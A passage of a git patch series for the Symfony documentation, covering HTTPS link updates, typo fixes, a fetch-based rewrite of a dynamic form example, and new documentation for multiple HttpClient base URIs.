-                #[TaggedIterator('app.handler')] iterable $handlers
+                #[TaggedIterator('app.handler')]
+                iterable $handlers
             ) {
             }
         }
@@ -683,7 +684,8 @@ iterator, add the ``exclude`` option:
         class HandlerCollection
         {
             public function __construct(
-                #[TaggedIterator('app.handler', exclude: ['App\Handler\Three'])] iterable $handlers
+                #[TaggedIterator('app.handler', exclude: ['App\Handler\Three'])]
+                iterable $handlers
             ) {
             }
         }

From a8045320eb88ba3d0cb5c4cc6873cf193228589b Mon Sep 17 00:00:00 2001
From: Christophe Coevoet <stof@notk.org>
Date: Fri, 14 Apr 2023 11:48:23 +0200
Subject: [PATCH 4572/7107] Use HTTPS links when possible

---
 components/asset.rst                           | 16 ++++++++--------
 components/intl.rst                            |  2 +-
 components/phpunit_bridge.rst                  |  8 ++++----
 components/serializer.rst                      |  2 +-
 components/uid.rst                             |  4 ++--
 deployment.rst                                 |  4 ++--
 deployment/proxies.rst                         |  2 +-
 http_cache/esi.rst                             |  2 +-
 http_cache/varnish.rst                         |  4 ++--
 introduction/http_fundamentals.rst             |  4 ++--
 reference/constraints/File.rst                 |  2 +-
 reference/constraints/Image.rst                |  2 +-
 reference/formats/message_format.rst           |  4 ++--
 reference/formats/xliff.rst                    |  2 +-
 reference/forms/types/datetime.rst             |  2 +-
 reference/forms/types/language.rst             |  2 +-
 reference/forms/types/options/required.rst.inc |  2 +-
 reference/forms/types/timezone.rst             |  2 +-
 security/ldap.rst                              |  2 +-
 serializer.rst                                 |  2 +-
 templates.rst                                  |  2 +-
 21 files changed, 36 insertions(+), 36 deletions(-)

diff --git a/components/asset.rst b/components/asset.rst
index b5c171d0fc9..df4a6aa3121 100644
--- a/components/asset.rst
+++ b/components/asset.rst
@@ -294,12 +294,12 @@ class to generate absolute URLs for their assets::
     // ...
 
     $urlPackage = new UrlPackage(
-        'http://static.example.com/images/',
+        'https://static.example.com/images/',
         new StaticVersionStrategy('v1')
     );
 
     echo $urlPackage->getUrl('/logo.png');
-    // result: http://static.example.com/images/logo.png?v1
+    // result: https://static.example.com/images/logo.png?v1
 
 You can also pass a schema-agnostic URL::
 
@@ -326,15 +326,15 @@ constructor::
     // ...
 
     $urls = [
-        '//static1.example.com/images/',
-        '//static2.example.com/images/',
+        'https://static1.example.com/images/',
+        'https://static2.example.com/images/',
     ];
     $urlPackage = new UrlPackage($urls, new StaticVersionStrategy('v1'));
 
     echo $urlPackage->getUrl('/logo.png');
-    // result: http://static1.example.com/images/logo.png?v1
+    // result: https://static1.example.com/images/logo.png?v1
     echo $urlPackage->getUrl('/icon.png');
-    // result: http://static2.example.com/images/icon.png?v1
+    // result: https://static2.example.com/images/icon.png?v1
 
 For each asset, one of the URLs will be randomly used. But, the selection
 is deterministic, meaning that each asset will always be served by the same
@@ -384,7 +384,7 @@ they all have different base paths::
     $defaultPackage = new Package($versionStrategy);
 
     $namedPackages = [
-        'img' => new UrlPackage('http://img.example.com/', $versionStrategy),
+        'img' => new UrlPackage('https://img.example.com/', $versionStrategy),
         'doc' => new PathPackage('/somewhere/deep/for/documents', $versionStrategy),
     ];
 
@@ -400,7 +400,7 @@ document inside a template::
     // result: /main.css?v1
 
     echo $packages->getUrl('/logo.png', 'img');
-    // result: http://img.example.com/logo.png?v1
+    // result: https://img.example.com/logo.png?v1
 
     echo $packages->getUrl('resume.pdf', 'doc');
     // result: /somewhere/deep/for/documents/resume.pdf?v1
diff --git a/components/intl.rst b/components/intl.rst
index bdf252f1650..8e4cfb5a9f6 100644
--- a/components/intl.rst
+++ b/components/intl.rst
@@ -378,7 +378,7 @@ Learn more
     /reference/forms/types/timezone
 
 .. _install the intl extension: https://www.php.net/manual/en/intl.setup.php
-.. _ICU library: http://site.icu-project.org/
+.. _ICU library: https://icu.unicode.org/
 .. _`Unicode ISO 15924 Registry`: https://www.unicode.org/iso15924/iso15924-codes.html
 .. _`ISO 3166-1 alpha-2`: https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2
 .. _`ISO 3166-1 alpha-3`: https://en.wikipedia.org/wiki/ISO_3166-1_alpha-3
diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index 6b44256cc6e..2d8803c4089 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -50,7 +50,7 @@ to register a new `test listener`_ called ``SymfonyTestsListener``:
 
 .. code-block:: xml
 
-    <!-- http://phpunit.de/manual/6.0/en/appendixes.configuration.html -->
+    <!-- https://phpunit.de/manual/6.0/en/appendixes.configuration.html -->
     <phpunit xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:noNamespaceSchemaLocation="https://schema.phpunit.de/6.0/phpunit.xsd"
     >
@@ -199,7 +199,7 @@ message, enclosed with ``/``. For example, with:
 
 .. code-block:: xml
 
-    <!-- http://phpunit.de/manual/6.0/en/appendixes.configuration.html -->
+    <!-- https://phpunit.de/manual/6.0/en/appendixes.configuration.html -->
     <phpunit xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:noNamespaceSchemaLocation="https://schema.phpunit.de/6.0/phpunit.xsd"
     >
@@ -828,7 +828,7 @@ namespaces in the ``phpunit.xml`` file, as done for example in the
 
 .. code-block:: xml
 
-    <!-- http://phpunit.de/manual/4.1/en/appendixes.configuration.html -->
+    <!-- https://phpunit.de/manual/4.1/en/appendixes.configuration.html -->
     <phpunit xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:noNamespaceSchemaLocation="https://schema.phpunit.de/4.1/phpunit.xsd"
     >
@@ -1019,7 +1019,7 @@ Add the following configuration to the ``phpunit.xml.dist`` file:
 
 .. code-block:: xml
 
-    <!-- http://phpunit.de/manual/6.0/en/appendixes.configuration.html -->
+    <!-- https://phpunit.de/manual/6.0/en/appendixes.configuration.html -->
     <phpunit xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:noNamespaceSchemaLocation="https://schema.phpunit.de/6.0/phpunit.xsd"
     >
diff --git a/components/serializer.rst b/components/serializer.rst
index 32e60fa240b..cf09f0b7992 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1890,7 +1890,7 @@ Learn more
 .. _RFC3339: https://tools.ietf.org/html/rfc3339#section-5.8
 .. _`options with libxml`: https://www.php.net/manual/en/libxml.constants.php
 .. _`DOM XML_* constants`: https://www.php.net/manual/en/dom.constants.php
-.. _JSON: http://www.json.org/
+.. _JSON: https://www.json.org/json-en.html
 .. _XML: https://www.w3.org/XML/
 .. _YAML: https://yaml.org/
 .. _CSV: https://tools.ietf.org/html/rfc4180
diff --git a/components/uid.rst b/components/uid.rst
index a2377c52b8b..ccd567f6ccf 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -58,9 +58,9 @@ to create each type of UUID::
     $uuid = Uuid::v3(Uuid::NAMESPACE_OID, $name);  // same as: Uuid::v3('oid', $name);
     $uuid = Uuid::v3(Uuid::NAMESPACE_X500, $name); // same as: Uuid::v3('x500', $name);
 
-    // UUID type 6 is not part of the UUID standard. It's lexicographically sortable
+    // UUID type 6 is not yet part of the UUID standard. It's lexicographically sortable
     // (like ULIDs) and contains a 60-bit timestamp and 63 extra unique bits.
-    // It's defined in http://gh.peabody.io/uuidv6/
+    // It's defined in https://www.ietf.org/archive/id/draft-peabody-dispatch-new-uuid-format-04.html#name-uuid-version-6
     $uuid = Uuid::v6(); // $uuid is an instance of Symfony\Component\Uid\UuidV6
 
 .. versionadded:: 5.3
diff --git a/deployment.rst b/deployment.rst
index f9480d673e8..9d90a290698 100644
--- a/deployment.rst
+++ b/deployment.rst
@@ -255,10 +255,10 @@ Learn More
 
 .. _`Capifony`: https://github.com/everzet/capifony
 .. _`Capistrano`: https://capistranorb.com/
-.. _`Fabric`: http://www.fabfile.org/
+.. _`Fabric`: https://www.fabfile.org/
 .. _`Ansistrano`: https://ansistrano.com/
 .. _`Magallanes`: https://github.com/andres-montanez/Magallanes
-.. _`Memcached`: http://memcached.org/
+.. _`Memcached`: https://memcached.org/
 .. _`Redis`: https://redis.io/
 .. _`Symfony plugin`: https://github.com/capistrano/symfony/
 .. _`Deployer`: https://deployer.org/
diff --git a/deployment/proxies.rst b/deployment/proxies.rst
index 5b12fb5e946..53b301d5e41 100644
--- a/deployment/proxies.rst
+++ b/deployment/proxies.rst
@@ -182,4 +182,4 @@ handling the request::
 .. _`CloudFront`: https://en.wikipedia.org/wiki/Amazon_CloudFront
 .. _`CloudFront IP ranges`: https://ip-ranges.amazonaws.com/ip-ranges.json
 .. _`HTTP Host header attacks`: https://www.skeletonscribe.net/2013/05/practical-http-host-header-attacks.html
-.. _`nginx realip module`: http://nginx.org/en/docs/http/ngx_http_realip_module.html
+.. _`nginx realip module`: https://nginx.org/en/docs/http/ngx_http_realip_module.html
diff --git a/http_cache/esi.rst b/http_cache/esi.rst
index fa2ce96ea06..4cd5b328c63 100644
--- a/http_cache/esi.rst
+++ b/http_cache/esi.rst
@@ -253,4 +253,4 @@ The ``render_esi`` helper supports two other useful options:
     of ``continue`` indicating that, in the event of a failure, the gateway cache
     will remove the ESI tag silently.
 
-.. _`ESI`: http://www.w3.org/TR/esi-lang
+.. _`ESI`: https://www.w3.org/TR/esi-lang/
diff --git a/http_cache/varnish.rst b/http_cache/varnish.rst
index 6157ceb3cf3..3c1fa6d5346 100644
--- a/http_cache/varnish.rst
+++ b/http_cache/varnish.rst
@@ -225,9 +225,9 @@ proxy before it has expired, it adds complexity to your caching setup.
     Varnish and other reverse proxies for cache invalidation.
 
 .. _`Varnish`: https://varnish-cache.org/
-.. _`Edge Architecture`: http://www.w3.org/TR/edge-arch
+.. _`Edge Architecture`: https://www.w3.org/TR/edge-arch
 .. _`clean the cookies header`: https://varnish-cache.org/docs/7.0/reference/vmod_cookie.html
-.. _`Surrogate-Capability Header`: http://www.w3.org/TR/edge-arch
+.. _`Surrogate-Capability Header`: https://www.w3.org/TR/edge-arch
 .. _`cache invalidation`: https://tools.ietf.org/html/rfc2616#section-13.10
 .. _`FOSHttpCacheBundle`: https://foshttpcachebundle.readthedocs.io/en/latest/features/user-context.html
 .. _`default.vcl`: https://github.com/varnishcache/varnish-cache/blob/3.0/bin/varnishd/default.vcl
diff --git a/introduction/http_fundamentals.rst b/introduction/http_fundamentals.rst
index 6204d434a6a..802429b5253 100644
--- a/introduction/http_fundamentals.rst
+++ b/introduction/http_fundamentals.rst
@@ -372,8 +372,8 @@ Here's what we've learned so far:
 
 .. _`xkcd`: https://xkcd.com/
 .. _`XMLHttpRequest`: https://en.wikipedia.org/wiki/XMLHttpRequest
-.. _`HTTP 1.1 RFC`: http://www.w3.org/Protocols/rfc2616/rfc2616.html
-.. _`HTTP Bis`: http://datatracker.ietf.org/wg/httpbis/
+.. _`HTTP 1.1 RFC`: https://www.w3.org/Protocols/rfc2616/rfc2616.html
+.. _`HTTP Bis`: https://datatracker.ietf.org/wg/httpbis/
 .. _`List of HTTP header fields`: https://en.wikipedia.org/wiki/List_of_HTTP_header_fields
 .. _`list of HTTP status codes`: https://en.wikipedia.org/wiki/List_of_HTTP_status_codes
 .. _`List of common media types`: https://www.iana.org/assignments/media-types/media-types.xhtml
diff --git a/reference/constraints/File.rst b/reference/constraints/File.rst
index 1eaed6075d0..65841a1e26c 100644
--- a/reference/constraints/File.rst
+++ b/reference/constraints/File.rst
@@ -390,5 +390,5 @@ The message that is displayed if the uploaded file is only partially uploaded.
 
 This message has no parameters.
 
-.. _`IANA website`: http://www.iana.org/assignments/media-types/media-types.xhtml
+.. _`IANA website`: https://www.iana.org/assignments/media-types/media-types.xhtml
 .. _`Wikipedia: Binary prefix`: https://en.wikipedia.org/wiki/Binary_prefix
diff --git a/reference/constraints/Image.rst b/reference/constraints/Image.rst
index 408341427db..917335f49cb 100644
--- a/reference/constraints/Image.rst
+++ b/reference/constraints/Image.rst
@@ -557,5 +557,5 @@ options has been set.
 
 This message has no parameters.
 
-.. _`IANA website`: http://www.iana.org/assignments/media-types/media-types.xhtml
+.. _`IANA website`: https://www.iana.org/assignments/media-types/media-types.xhtml
 .. _`PHP GD extension`: https://www.php.net/manual/en/book.image.php
diff --git a/reference/formats/message_format.rst b/reference/formats/message_format.rst
index cd3f05c4c29..99c02f0f5b2 100644
--- a/reference/formats/message_format.rst
+++ b/reference/formats/message_format.rst
@@ -498,8 +498,8 @@ The ``number`` formatter allows you to format numbers using Intl's :phpclass:`Nu
     // "9 988 776,65 €"
     echo $translator->trans('value_of_object', ['value' => 9988776.65]);
 
-.. _`online editor`: http://format-message.github.io/icu-message-format-for-translators/
+.. _`online editor`: https://format-message.github.io/icu-message-format-for-translators/
 .. _`ICU MessageFormat`: https://unicode-org.github.io/icu/userguide/format_parse/messages/
 .. _`switch statement`: https://www.php.net/control-structures.switch
-.. _`Language Plural Rules`: http://www.unicode.org/cldr/charts/latest/supplemental/language_plural_rules.html
+.. _`Language Plural Rules`: https://www.unicode.org/cldr/charts/43/supplemental/language_plural_rules.html
 .. _`constants defined by the IntlDateFormatter class`: https://www.php.net/manual/en/class.intldateformatter.php
diff --git a/reference/formats/xliff.rst b/reference/formats/xliff.rst
index d5fb90e3586..acb9af36014 100644
--- a/reference/formats/xliff.rst
+++ b/reference/formats/xliff.rst
@@ -37,4 +37,4 @@ loaded/dumped inside a Symfony application:
         </file>
     </xliff>
 
-.. _XLIFF: http://docs.oasis-open.org/xliff/xliff-core/v2.1/xliff-core-v2.1.html
+.. _XLIFF: https://docs.oasis-open.org/xliff/xliff-core/v2.1/xliff-core-v2.1.html
diff --git a/reference/forms/types/datetime.rst b/reference/forms/types/datetime.rst
index cee081e3885..19ce4059743 100644
--- a/reference/forms/types/datetime.rst
+++ b/reference/forms/types/datetime.rst
@@ -231,5 +231,5 @@ Field Variables
 |          |            | contains the input type to use (``datetime``, ``date`` or ``time``). |
 +----------+------------+----------------------------------------------------------------------+
 
-.. _`datetime local`: http://w3c.github.io/html-reference/datatypes.html#form.data.datetime-local
+.. _`datetime local`: https://html.spec.whatwg.org/multipage/input.html#local-date-and-time-state-(type=datetime-local)
 .. _`Date/Time Format Syntax`: https://unicode-org.github.io/icu/userguide/format_parse/datetime/#datetime-format-syntax
diff --git a/reference/forms/types/language.rst b/reference/forms/types/language.rst
index fb667a12338..2ede5f38e9f 100644
--- a/reference/forms/types/language.rst
+++ b/reference/forms/types/language.rst
@@ -141,4 +141,4 @@ The actual default value of this option depends on other field options:
 
 .. _`ISO 639-1 alpha-2`: https://en.wikipedia.org/wiki/ISO_639-1
 .. _`ISO 639-2 alpha-3 (2T)`: https://en.wikipedia.org/wiki/ISO_639-2
-.. _`International Components for Unicode`: http://site.icu-project.org
+.. _`International Components for Unicode`: https://icu.unicode.org/
diff --git a/reference/forms/types/options/required.rst.inc b/reference/forms/types/options/required.rst.inc
index 41d4e347de6..518852e9981 100644
--- a/reference/forms/types/options/required.rst.inc
+++ b/reference/forms/types/options/required.rst.inc
@@ -15,4 +15,4 @@ from your validation information.
     The required option also affects how empty data for each field is
     handled. For more details, see the `empty_data`_ option.
 
-.. _`HTML5 required attribute`: http://diveintohtml5.info/forms.html
+.. _`HTML5 required attribute`: https://html.spec.whatwg.org/multipage/input.html#attr-input-required
diff --git a/reference/forms/types/timezone.rst b/reference/forms/types/timezone.rst
index 9d1b1a7edef..7e0d5b8beb0 100644
--- a/reference/forms/types/timezone.rst
+++ b/reference/forms/types/timezone.rst
@@ -133,4 +133,4 @@ The actual default value of this option depends on other field options:
 
 .. include:: /reference/forms/types/options/row_attr.rst.inc
 
-.. _`ICU Project`: http://site.icu-project.org/
+.. _`ICU Project`: https://icu.unicode.org/
diff --git a/security/ldap.rst b/security/ldap.rst
index f6344d45842..b984bdf749b 100644
--- a/security/ldap.rst
+++ b/security/ldap.rst
@@ -528,6 +528,6 @@ Configuration example for form login and query_string
         };
 
 .. _`LDAP PHP extension`: https://www.php.net/manual/en/intro.ldap.php
-.. _`RFC4515`: http://www.faqs.org/rfcs/rfc4515.html
+.. _`RFC4515`: https://datatracker.ietf.org/doc/rfc4515/
 .. _`LDAP injection`: http://projects.webappsec.org/w/page/13246947/LDAP%20Injection
 
diff --git a/serializer.rst b/serializer.rst
index 04ffb540374..b7b62efa843 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -419,7 +419,7 @@ take a look at how this bundle works.
 
 .. _`API Platform`: https://api-platform.com
 .. _`JSON-LD`: https://json-ld.org
-.. _`Hydra Core Vocabulary`: http://www.hydra-cg.com
+.. _`Hydra Core Vocabulary`: https://www.hydra-cg.com/
 .. _`OpenAPI`: https://www.openapis.org
 .. _`GraphQL`: https://graphql.org
 .. _`JSON:API`: https://jsonapi.org
diff --git a/templates.rst b/templates.rst
index edaf8deeb52..47071654f54 100644
--- a/templates.rst
+++ b/templates.rst
@@ -1601,4 +1601,4 @@ for this class and :doc:`tag your service </service_container/tags>` with ``twig
 .. _`default Twig filters and functions`: https://twig.symfony.com/doc/3.x/#reference
 .. _`official Twig extensions`: https://github.com/twigphp?q=extra
 .. _`global variables`: https://twig.symfony.com/doc/3.x/advanced.html#id1
-.. _`hinclude.js`: http://mnot.github.io/hinclude/
+.. _`hinclude.js`: https://mnot.github.io/hinclude/

From 2591cb3288d2c59c977866ad65dac1b601a478b2 Mon Sep 17 00:00:00 2001
From: Andrea Bergamasco <andrea@bergamasco.me>
Date: Thu, 13 Apr 2023 08:53:54 +0200
Subject: [PATCH 4573/7107] [Minor] Fixed verb tense

---
 notifier.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 0f9251e2007..f12ab679cf3 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -836,11 +836,11 @@ allows you to optionally hook into the lifecycle via events.
 The ``MessageEvent::class`` Event
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-**Typical Purposes**: Doing something before the message is send (like logging
-which message is going to be send, or displaying something about the event
+**Typical Purposes**: Doing something before the message is sent (like logging
+which message is going to be sent, or displaying something about the event
 to be executed.
 
-Just before send the message, the event class ``MessageEvent`` is
+Just before sending the message, the event class ``MessageEvent`` is
 dispatched. Listeners receive a
 :class:`Symfony\\Component\\Notifier\\Event\\MessageEvent` event::
 

From 813398d887dcfc315a4a7c94482296d73c2da68e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 17 Apr 2023 09:11:41 +0200
Subject: [PATCH 4574/7107] Tweaks in the code examples of the controller early
 hints

---
 controller.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/controller.rst b/controller.rst
index 42b4aeb28b1..9f861a75708 100644
--- a/controller.rst
+++ b/controller.rst
@@ -542,11 +542,12 @@ method::
         public function index(): Response
         {
             $response = $this->sendEarlyHints([
+                new Link(rel: 'preconnect', href: 'https://fonts.google.com'),
                 (new Link(href: '/style.css'))->withAttribute('as', 'stylesheet'),
                 (new Link(href: '/script.js'))->withAttribute('as', 'script'),
             ]);
 
-            // Do something slow...
+            // prepare the contents of the response...
 
             return $this->render('homepage/index.html.twig', response: $response);
         }

From 28333d8daf0100914bc0a8d3972607bf7bfcb3a2 Mon Sep 17 00:00:00 2001
From: hbengamra <ha.ben.gamra@gmail.com>
Date: Mon, 17 Apr 2023 08:23:48 +0200
Subject: [PATCH 4575/7107] add Void to delete method

---
 security/passwords.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/passwords.rst b/security/passwords.rst
index c12d51f520d..f00cec6184c 100644
--- a/security/passwords.rst
+++ b/security/passwords.rst
@@ -242,7 +242,7 @@ After configuring the correct algorithm, you can use the
                 // ...
             }
 
-            public function delete(UserPasswordHasherInterface $passwordHasher, UserInterface $user)
+            public function delete(UserPasswordHasherInterface $passwordHasher, UserInterface $user): void
             {
                 // ... e.g. get the password from a "confirm deletion" dialog
                 $plaintextPassword = ...;

From ad912b8ff931488e924c13a9cfd96285f3291689 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 18 Apr 2023 16:42:01 +0200
Subject: [PATCH 4576/7107] [FrameworkBundle] Fix a minor syntax issue

---
 reference/configuration/framework.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 66ba3793412..53f3aa64960 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -482,7 +482,7 @@ instance), the host might have been manipulated by an attacker.
 
 .. seealso::
 
-    You can read "`HTTP Host header attacks`_" for more information about
+    You can read `HTTP Host header attacks`_ for more information about
     these kinds of attacks.
 
 The Symfony :method:`Request::getHost() <Symfony\\Component\\HttpFoundation\\Request::getHost>`

From 92f2218a6fb64a2511105d62caaa621b51acafe5 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 18 Apr 2023 17:41:02 +0200
Subject: [PATCH 4577/7107] [Contributing] Fix some minor typos

---
 contributing/code/bc.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/contributing/code/bc.rst b/contributing/code/bc.rst
index ae97007117e..3caf969c432 100644
--- a/contributing/code/bc.rst
+++ b/contributing/code/bc.rst
@@ -408,7 +408,7 @@ Change argument type
 Add return type                                                                  No
 Remove return type                                                               No
 Change return type                                                               No
-**Static Methods and Properties**          
+**Static Methods and Properties**
 Turn non static into static                                                      No
 Turn static into non static                                                      No
 ===============================================================================  ==============  ===============
@@ -477,10 +477,10 @@ Making Code Changes in a Backward Compatible Way
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 As you read above, many changes are not allowed because they would represent a
-backward compability break. However, we want to be able to improve the code and
+backward compatibility break. However, we want to be able to improve the code and
 its features over time and that can be done thanks to some strategies that
 allow to still do some unallowed changes in several steps that ensure backward
-compability and a smooth upgrade path. Some of them are described in the next
+compatibility and a smooth upgrade path. Some of them are described in the next
 sections.
 
 .. _add-argument-public-method:

From 173203c187bd805a171a94218b06a0427374feb5 Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Tue, 18 Apr 2023 17:43:17 +0200
Subject: [PATCH 4578/7107] improve links label in rememberMe doc

---
 security/remember_me.rst | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/security/remember_me.rst b/security/remember_me.rst
index 58fbeb6e959..1d69cc9a555 100644
--- a/security/remember_me.rst
+++ b/security/remember_me.rst
@@ -266,12 +266,14 @@ Signature based tokens
     By default, the remember me cookie contains a signature based on
     properties of the user. If the properties change, the signature changes
     and already generated tokens are no longer considered valid. See
-    :ref:`security-remember-me-signature` for more information.
+    :ref:`how to use them <security-remember-me-signature>` for more
+    information.
 
 Persistent tokens
     Persistent tokens store any generated token (e.g. in a database). This
     allows you to invalidate tokens by changing the rows in the database.
-    See :ref:`security-remember-me-persistent` for more information.
+    See :ref:`how to store tokens <security-remember-me-persistent>` for more
+    information.
 
 .. note::
 

From 8b3fc1b099157ceed83c1beaa26e3dc3f2c2976c Mon Sep 17 00:00:00 2001
From: Maxime Morlet <MaxiCom.Developpement@gmail.com>
Date: Thu, 20 Apr 2023 00:18:29 +0200
Subject: [PATCH 4579/7107] Update forms.rst

Typo!
---
 forms.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/forms.rst b/forms.rst
index 47ccafbff41..9a673dc4fc6 100644
--- a/forms.rst
+++ b/forms.rst
@@ -284,7 +284,7 @@ transform the form into a *form view* instance.
 .. deprecated:: 6.2
 
     Prior to Symfony 6.2, you had to use ``$this->render(..., ['form' => $form->createView()])``
-    or the ``renderForm()`` method to render to form. The ``renderForm()``
+    or the ``renderForm()`` method to render the form. The ``renderForm()``
     method is deprecated in favor of directly passing the ``FormInterface``
     instance to ``render()``.
 

From 7b5868bade8bd79cd8f3be46011ef00bee3ad94d Mon Sep 17 00:00:00 2001
From: Yannick <y.francois54@gmail.com>
Date: Thu, 20 Apr 2023 10:36:09 +0200
Subject: [PATCH 4580/7107] Update dynamic_form_modification.rst

Hi mates,

The JavaScript parts use jQuery and, IMHO, it's not relevant. Also, performing an Ajax request is easier since fetch is available for JavaScript. That's why I propose this piece of code.

Also, to use `form.getAttribute('action')` , you must manually define the URL called by the form. To do this, I give a third parameter to `createForm` and I set the action value in `SportMeetupType` with `$builder->setAction()`

Yannick
---
 form/dynamic_form_modification.rst | 67 ++++++++++++++++++------------
 1 file changed, 41 insertions(+), 26 deletions(-)

diff --git a/form/dynamic_form_modification.rst b/form/dynamic_form_modification.rst
index 0911a40f999..0d321880cb3 100644
--- a/form/dynamic_form_modification.rst
+++ b/form/dynamic_form_modification.rst
@@ -447,7 +447,7 @@ The type would now look like::
     class SportMeetupType extends AbstractType
     {
         public function buildForm(FormBuilderInterface $builder, array $options): void
-        {
+        {          
             $builder
                 ->add('sport', EntityType::class, [
                     'class' => Sport::class,
@@ -487,6 +487,10 @@ The type would now look like::
                     $formModifier($event->getForm()->getParent(), $sport);
                 }
             );
+            
+            // by default, action does not appear in the form tag
+            // you can set this value by passing the controller route
+            $builder->setAction($options['action']);
         }
 
         // ...
@@ -518,10 +522,11 @@ your application. Assume that you have a sport meetup creation controller::
 
     class MeetupController extends AbstractController
     {
+        #[Route('/create', name: 'app_meetup_create', methods: ['GET', 'POST'])]
         public function create(Request $request): Response
         {
             $meetup = new SportMeetup();
-            $form = $this->createForm(SportMeetupType::class, $meetup);
+            $form = $this->createForm(SportMeetupType::class, $meetup, ['action' => $this->generateUrl('app_meetup_create')]);
             $form->handleRequest($request);
             if ($form->isSubmitted() && $form->isValid()) {
                 // ... save the meetup, redirect etc.
@@ -541,36 +546,46 @@ field according to the current selection in the ``sport`` field:
 .. code-block:: html+twig
 
     {# templates/meetup/create.html.twig #}
-    {{ form_start(form) }}
+    {{ form_start(form, { 'attr' : { 'id' : 'supply_history_form' } }) }}
         {{ form_row(form.sport) }}    {# <select id="meetup_sport" ... #}
         {{ form_row(form.position) }} {# <select id="meetup_position" ... #}
         {# ... #}
     {{ form_end(form) }}
 
     <script>
-    var $sport = $('#meetup_sport');
-    // When sport gets selected ...
-    $sport.change(function() {
-      // ... retrieve the corresponding form.
-      var $form = $(this).closest('form');
-      // Simulate form data, but only include the selected sport value.
-      var data = {};
-      data[$sport.attr('name')] = $sport.val();
-      // Submit data via AJAX to the form's action path.
-      $.ajax({
-        url : $form.attr('action'),
-        type: $form.attr('method'),
-        data : data,
-        complete: function(html) {
-          // Replace current position field ...
-          $('#meetup_position').replaceWith(
-            // ... with the returned one from the AJAX response.
-            $(html.responseText).find('#meetup_position')
-          );
-          // Position field now displays the appropriate positions.
-        }
-      });
-    });
+        const form = document.getElementById('sport_meetup_form');
+        const form_select_sport = document.getElementById('meetup_sport');
+        const form_select_position = document.getElementById('meetup_position');
+
+        const updateForm = async (data, url, method) => {
+          const req = await fetch(url, {
+            method: method,
+            body: data,
+            headers: {
+                'Content-Type': 'application/x-www-form-urlencoded',
+                'charset': 'utf-8'
+            }
+          });
+
+          const text = await req.text();
+          return text;
+        };
+
+        const parseTextToHtml = (text) => {
+          const parser = new DOMParser();
+          const html = parser.parseFromString(text, 'text/html');
+          return html;
+        };
+
+        const changeOptions = async (e) => {
+          const requestBody = e.target.getAttribute('name') + '=' + e.target.value;
+          const updateFormResponse = await updateForm(requestBody, form.getAttribute('action'), form.getAttribute('method'));
+          const html = parseTextToHtml(updateFormResponse);
+          const new_form_select_position = html.getElementById('meetup_position');
+          form_select_position.innerHTML = new_form_select_position.innerHTML;
+        };
+
+        form_select_sport.addEventListener('change', (e) => changeOptions(e));
     </script>
 
 The major benefit of submitting the whole form to just extract the updated

From 72443757f33dabb988cdeccd3f98127e4f7bbe82 Mon Sep 17 00:00:00 2001
From: Benjamin Zaslavsky <benjamin.zaslavsky@gmail.com>
Date: Thu, 20 Apr 2023 10:25:46 +0200
Subject: [PATCH 4581/7107] [HttpClient] Add doc for multiple `base_uri` as
 array

---
 http_client.rst | 53 +++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 53 insertions(+)

diff --git a/http_client.rst b/http_client.rst
index f507573ce2c..e0742183175 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -731,6 +731,59 @@ The ``RetryableHttpClient`` uses a
 decide if the request should be retried, and to define the waiting time between
 each retry.
 
+Retry Over Several Base URIs
+............................
+
+.. versionadded:: 6.3
+
+    The multiple ``base_uri`` feature was added in Symfony 6.3.
+
+The ``RetryableHttpClient`` can be configured to use multiple base URIs. This
+feature provides increased flexibility and reliability for making HTTP
+requests. Pass an array of base URIs as option ``base_uri`` when making a 
+request::
+
+    $response = $client->request('GET', 'some-page', [
+        'base_uri' => [
+            // first request will use this base URI
+            'https://example.com/a/',
+            // if first request fails, the following base URI will be used
+            'https://example.com/b/',
+        ],
+    ]);
+
+When the number of retries is higher than the number of base URIs, the 
+last base URI will be used for the remaining retries.
+
+If you want to shuffle the order of base URIs for each retry attempt, nest the
+base URIs you want to shuffle in an additional array::
+
+    $response = $client->request('GET', 'some-page', [
+        'base_uri' => [
+            [
+                // a single random URI from this array will be used for the first request
+                'https://example.com/a/',
+                'https://example.com/b/',
+            ],
+            // non-nested base URIs are used in order
+            'https://example.com/c/',
+        ],
+    ]);
+
+This feature allows for a more randomized approach to handling retries, 
+reducing the likelihood of repeatedly hitting the same failed base URI.
+
+By using a nested array for the base URI, you can use this feature 
+to distribute the load among many nodes in a cluster of servers.
+
+You can also configure the array of base URIs using the ``withOptions()`` 
+method::
+
+    $client = $client->withOptions(['base_uri' => [
+        'https://example.com/a/',
+        'https://example.com/b/',
+    ]]);
